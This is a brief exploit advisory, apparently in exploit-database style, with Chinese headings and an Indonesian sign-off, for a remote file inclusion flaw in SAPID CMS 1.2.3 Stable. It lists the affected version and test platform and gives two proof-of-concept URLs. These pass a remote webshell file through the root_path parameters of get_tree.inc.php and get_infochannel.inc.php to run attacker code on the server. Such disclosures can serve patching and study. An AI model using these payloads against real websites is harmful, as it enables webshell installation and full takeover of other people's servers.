标题: SAPID Stable (RFI)
作者: Opa Yong
下载地址: http://sourceforge.net/projects/sapid/files/sapid-cms/
影响版本: SAPID 1.2.3 Stable
测试平台: Windows XP Home Edition SP2
测试: http:// /usr/extensions/get_tree.inc.php?GLOBALS[root_path]=[webshell.txt?]
@POC: http:// /usr/extensions/get_infochannel.inc.php?root_path=[webshell.txt?]
Pesan: Jangan pernah mengaku diri anda hacker,lebih baik orang yg di sekitar anda yg mengaku anda itu adalah hacker.
Special thanks for Dan Pemula